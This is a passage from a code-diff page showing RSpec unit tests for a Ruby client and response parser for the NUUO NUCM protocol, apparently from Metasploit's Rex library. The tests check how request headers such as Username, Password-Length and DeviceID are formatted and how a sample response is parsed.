let(:client_username) {'client_user'}
|
||||||
|
|
||||||
|
context 'given username' do
|
||||||
|
it 'sets the Username header with opts username' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nUsername: user\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no username' do
|
||||||
|
let(:username) {nil}
|
||||||
|
|
||||||
|
it 'creates an Username header with client username' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nUsername: client_user\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when client has no username' do
|
||||||
|
context 'given username' do
|
||||||
|
it 'sets the Username header with value' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nUsername: user\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no username' do
|
||||||
|
let(:username) {nil}
|
||||||
|
|
||||||
|
it 'creates an empty Username header' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nUsername: \r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when client has password' do
|
||||||
|
let(:client_password) {'client_pass'}
|
||||||
|
|
||||||
|
context 'given password' do
|
||||||
|
it 'sets body with password' do
|
||||||
|
expect(userlogin_request).to end_with("\r\n\r\npass")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets Password-Length header' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 4\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no password' do
|
||||||
|
let(:password) {nil}
|
||||||
|
|
||||||
|
it 'sets body to client password' do
|
||||||
|
expect(userlogin_request).to end_with("\r\n\r\nclient_pass")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'creates Password-Length with client password length' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 11\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when client has no password' do
|
||||||
|
context 'given password' do
|
||||||
|
it 'sets body with password' do
|
||||||
|
expect(userlogin_request).to end_with("\r\n\r\npass")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets Password-Length header' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 4\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no password' do
|
||||||
|
let(:password) {nil}
|
||||||
|
|
||||||
|
it 'sets empty body' do
|
||||||
|
expect(userlogin_request).to end_with("\r\n\r\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'creates Password-Length with 0' do
|
||||||
|
expect(userlogin_request).to match("[^\r\n]\r\nPassword-Length: 0\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#request_getopenalarm' do
|
||||||
|
subject(:getopenalarm_request) {
|
||||||
|
opts = {
|
||||||
|
'device_id' => device_id,
|
||||||
|
'source_server' => source_server,
|
||||||
|
'last_one' => last_one
|
||||||
|
}
|
||||||
|
client.request_getopenalarm(opts).to_s
|
||||||
|
}
|
||||||
|
let(:device_id) {nil}
|
||||||
|
let(:source_server) {nil}
|
||||||
|
let(:last_one) {nil}
|
||||||
|
|
||||||
|
it 'returns a GETOPENALARM client request' do
|
||||||
|
expect(getopenalarm_request).to start_with('GETOPENALARM')
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given device_id' do
|
||||||
|
let(:device_id) {2}
|
||||||
|
|
||||||
|
it 'sets DeviceID header with value' do
|
||||||
|
expect(getopenalarm_request).to match("[^\r\n]\r\nDeviceID: 2\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no device_id' do
|
||||||
|
it 'sets DeviceID header to 1' do
|
||||||
|
expect(getopenalarm_request).to match("[^\r\n]\r\nDeviceID: 1\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given source_server' do
|
||||||
|
let(:source_server) {2}
|
||||||
|
|
||||||
|
it 'sets SourceServer header with value' do
|
||||||
|
expect(getopenalarm_request).to match("[^\r\n]\r\nSourceServer: 2\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no source_server' do
|
||||||
|
it 'set SourceServer header to 1' do
|
||||||
|
expect(getopenalarm_request).to match("[^\r\n]\r\nSourceServer: 1\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given last_one' do
|
||||||
|
let(:last_one) {2}
|
||||||
|
|
||||||
|
it 'sets LastOne header with value' do
|
||||||
|
expect(getopenalarm_request).to match("[^\r\n]\r\nLastOne: 2\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'given no last_one' do
|
||||||
|
it 'sets LastOne to 1' do
|
||||||
|
expect(getopenalarm_request).to match("[^\r\n]\r\nLastOne: 1\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,26 @@
|
||||||
|
# -*- coding:binary -*-
|
||||||
|
require 'rex/proto/nuuo/response'
|
||||||
|
|
||||||
|
RSpec.describe Rex::Proto::Nuuo::Response do
|
||||||
|
subject(:response) {described_class.new}
|
||||||
|
let(:header) {'Header'}
|
||||||
|
let(:hvalue) {'Value'}
|
||||||
|
let(:body) {'test'}
|
||||||
|
let(:data) {"NUCM/1.0 200\r\n#{header}:#{hvalue}\r\nContent-Length:4\r\n\r\n#{body}"}
|
||||||
|
|
||||||
|
describe '#parse' do
|
||||||
|
it 'returns a ParseCode' do
|
||||||
|
expect(response.parse(data)).to eq(Rex::Proto::Nuuo::Response::ParseCode::Completed)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets the headers' do
|
||||||
|
response.parse(data)
|
||||||
|
expect(response.headers[header]).to eq(hvalue)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets the body' do
|
||||||
|
response.parse(data)
|
||||||
|
expect(response.body).to eq(body)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue